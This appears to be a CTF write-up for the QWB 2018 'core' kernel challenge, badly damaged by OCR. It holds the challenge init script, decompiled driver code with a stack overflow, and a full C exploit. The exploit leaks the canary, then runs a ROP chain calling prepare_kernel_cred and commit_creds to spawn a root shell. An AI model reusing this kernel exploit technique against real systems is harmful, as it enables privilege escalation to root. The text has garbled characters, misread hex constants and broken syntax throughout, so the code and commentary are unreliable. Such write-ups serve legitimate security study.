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#!/bin/sh

mount -t proc proc /proc

mount -t sysfs sysfs /sys

mount -t devtmpfs none /dev

/sbin/mdev -s

mkdir -p /dev/pts

mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx

cat /proc/kallsyms > /tmp/kallsyms

echo 1 > /proc/sys/kernel/kptr_restrict

echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth@ up

udhcpc -i ethe

ifconfig eth® 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2

insmod /core.ko

#poweroff -d 120 -f &

setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'

umount /proc

umount /sys

poweroff -d @ -f
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checksecE TR

[*] '"/home/roo/Desktop/maxbosctf/QWBcore2018/give_to_player/tmp/core.ko’

Arch: amd64-64-1little
RELRO: No RELRO

Stack: Canary found
NX: NX enabled

PIE: No PIE (0x@)

FFJa T Canary found, 7&ZittFEcanary
¥ core ko#fs 2 IDAE BE4T ¥ [7) 20 #r

init_module() M T /proc/core

__int64 init_module()

core_proc = proc_create("core", 438LL, OLL, &core_fops);
printk("\x016core: created /proc/core entry\n");

return OLL;



exit_core() MiIEx /proc/core

__int64 exit_core()

__int64 result; // rax

if ( core_proc )
result = remove_proc_entry("core");

return result;

exit_core() Mk /proc/core

__int64 exit_core()

__int64 result; // rax

if ( core_proc )
result = remove_proc_entry("core");

return result;

core_joctl() & X T =414, 45l core_read(), core_copy_func() X B4 /L& off

__inté4 __ fastcall core_ioctl(__int64 a1, int a2, _ int64 a3)

switch (a2)

case 0x6677889B:
core_read(a3);
break;

case 0x6677889C:

printk("\x016core: %d\n");



off = a3;

break;

case 0x6677889A:

printk("\x016core: called core_copy\n");
core_copy_func(a3);

break;

core_copy._func(v3);

core_read() M v4[off] # 11 64 NFHBIH =, HEEBWREEREE off FRAIGE®BEHIK, HELE
P 2% off 3k leak canary Fl— 2t bt

void __fastcall core_read(__int64 a1)

__int64 v1; // rbx

char *v2; // rdi

signed __int64 i; // rcx

char v4[64]; // [rsp+0h] [rbp-50h]

unsigned __int64 v5; // [rsp+40h] [rbp-10h]

vl =af;

v5 = _ readgsqword(0x28u);
printk("\x016core: called core_read\n");
printk("\x016%d %p\n");

V2 = v4;

for (i=16LL; i; --i )

*(_DWORD *)v2 = 0;

V2 +=4;

strepy(v4, "Welcome to the QWB CTF challenge.\n");



if ( copy_to_user(v1, &v4[off], 64LL) )

__asm{ swapgs }

core_copy_func() A&FZE & name F# NHKTWH /HLES, KERHRIEEH, JEEEKRRZ gmemepy
R unsigned __int16, {E4EERIKE R signed  int64, [Eibin 3% H14E N K BN OXFfFO000|
(0x100) %{H, #hATLAtR%EH T

void __fastcall core_copy_func(signed __int64 a1)

char v1[64]; // [rsp+0h] [rbp-50h]

unsigned __int64 v2; // [rsp+40h] [rbp-10h]

v2 = _ readgsqword(0x28u);
printk("\x016core: called core_writen");
if (a1>63)

printk("\x016Detect Overflow");

else

gmemcpy(v1, name, (unsigned __int16)a1); // overflow

core_write() A4 A2 R name £5, X#iBid core_write() 1 core_copy_func() #t® BL#% %] ropchain T

signed __int64 __ fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)

unsigned __int64 v3; // rbx

v3 = ag3;
printk("\x016core: called core_writen");
if (v3 <=0x800 && !copy_from_user(name, a2, v3) )

return (unsigned int)v3;

printk("\x016core: error copying data from userspacen");

return OXFFFFFFF2LL;
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exp:

include <string.h>
include <stdio.h>
include <stdlib.h>
include <unistd.h>
include <fcntl.h>
include <sys/stat.h>
include <sys/types.h>
include <sys/ioctl.h>
void spawn_shell()
{
if(!getuid())
{

system("/bin/sh");
}
else
{

puts("[*]spawn shell error!");

}
exit(0);

size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = Oxffffffff81000000;
/*

give_to_player [masteree] check ./core.ko
./core.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[shal]=549436d
[*] '/home/m4x/pwn_repo/QWB2018 core/give_to_player/core.ko'

Arch: amd64-64-1little
RELRO: No RELRO

Stack: Canary found
NX: NX enabled

PIE: No PIE (@x@)

*/

size_t vmlinux_base = 0;
size_t find_symbols()

{



FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
/* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */

if(kallsyms_fd < @)

{
puts("[*]open kallsyms error!");
exit(0);

char buf[0x30] = {0};
while(fgets(buf, 0x30, kallsyms_fd))
{
if(commit_creds & prepare_kernel_cred)
return 0;

if(strstr(buf, "commit_creds") && !commit_creds)
{
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16);
/* printf("hex: %s\n", hex); */
sscanf(hex, "%11x", &commit_creds);
printf("commit_creds addr: %p\n", commit_creds);
/*
* give_to_player [masteree] bpython
bpython version ©0.17.1 on top of Python 2.7.15 /usr/bin/n
>>> from pwn import *
>>> vmlinux = ELF("./vmlinux")
[*] '/home/m4x/pwn_repo/QWB2018_core/give_to_player/vmli’
Arch: amd64-64-1ittle
RELRO: No RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (Oxffffffff81000000)
RWX: Has RWX segments
>>> hex(vmlinux.sym['commit_creds'] - oxffffffff81000000)
'0x9c8e0"’
*/
vmlinux_base = commit_creds - 0x9c8e0;
printf("vmlinux_base addr: %p\n", vmlinux_base);

if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
{
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%11x", &prepare_kernel cred);
printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
vmlinux_base = prepare_kernel_cred - 0x9cced;
/* printf("vmlinux_base addr: %p\n", vmlinux_base); */

if(!(prepare_kernel_cred & commit_creds))
{

puts("[*]Error!");

exit(o0);



size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()

{

__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
)

puts("[*]status has been saved.");

void set_off(int fd, long long idx)
{

printf("[*]set off to %1d\n", idx);
ioctl(fd, @x6677889C, idx);

void core_copy_func(int fd, long long size)

{

printf("[*]copy from user with size: %1ld\n", size);
ioctl(fd, @x6677889A, size);

}

int main()

{

save_status();

int fd = open("/proc/core", 2);

if(fd < 0)

{
puts("[*]open /proc/core error!");
exit(o);

find_symbols();
// gadget = raw_gadget - raw_vmlinux_base + vmlinux_base;
ssize_t offset = vmlinux_base - raw_vmlinux_base;

set_off(fd, 0x40);

char buf[0x40] = {0};

core_read(fd, buf);

size_t canary = ((size_t *)buf)[0];
printf("[+]canary: %p\n", canary);

size_t rop[ox1leee] = {0};

int i;
for(i = 0; i < 10; i++)
{

rop[i] = canary;



rop[i++] = Oxffffffff81000b2f + offset; // pop rdi; ret
rop[i++] = 0;
rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)

rop[i++] = Oxffffffff810a0f49 + offset; // pop rdx; ret

rop[i++] = Oxffffffff81021e53 + offset; // pop rcx; ret

rop[i++] = Oxffffffff81l0laaba + offset; // mov rdi, rax; call rdx;
rop[i++] = commit_creds;

rop[i++] = exffffffff8la®l2da + offset; // swapgs; popfq; ret
rop[i++] = 0;

rop[i++] = exffffffff81050ac2 + offset; // iretq; ret;
rop[i++] = (size_t)spawn_shell; // rip
rop[i++] = user_cs;

rop[i++] = user_rflags;

rop[i++] = user_sp;

rop[i++] = user_ss;

write(fd, rop, 0x809);
core_copy_func(fd, exffffffffffffeeee | (0x100));

return 0;
}
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gcc exploit.c -static -masm=intel -g -o exploit

1. R ATEREH A, B F fsave_statusik FR7F T cs. rsp. ss. rflagsii & 72518
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FHrrE AR Ak

3.core_read,core_copy_func,set_off =AM F S T K3 (1) 4 B Ty Bk, spawn_shell F T31& [B] F 2 #& B getshell

rop[i++] = Oxffffffff81000b2f + offset; // pop rdi; ret
rop[i++] = 0;

rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)

rop[i++] = Oxffffffff810a0f49 + offset; // pop rdx; ret

rop[i++] = Oxffffffff81021e53 + offset; // pop rcx; ret

rop[i++] = Oxffffffff8101aaba + offset; // mov rdi, rax; call rdx;

rop[i++] = commit_creds;
B 4T T prepare_kernel_cred(0),1& [E{E A2 Fraxar 7 as, 4% 0 K rax3Z Frdidf 47 commit_creds, s Zh F 7 AL
BR 327+ Zlroot

i Fcalli& 42K H R T — T RMRIPEANR | T thgadget X% B retds &, #k rdxd 72\ — By gadget¥ JE RIP
ONIE 78, 3R B Blcommit_credsiiét i, FHEET

ropl[i++] = Oxffffffff81a012da + offset; // swapgs; popfq; ret



rop[i++] = 0;

rop[i++] = Oxffffffff81050ac2 + offset; // iretq; ret;

rop[i++] = (size_t)spawn_shell; // rip

rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;

rop[i++] = user_ss;
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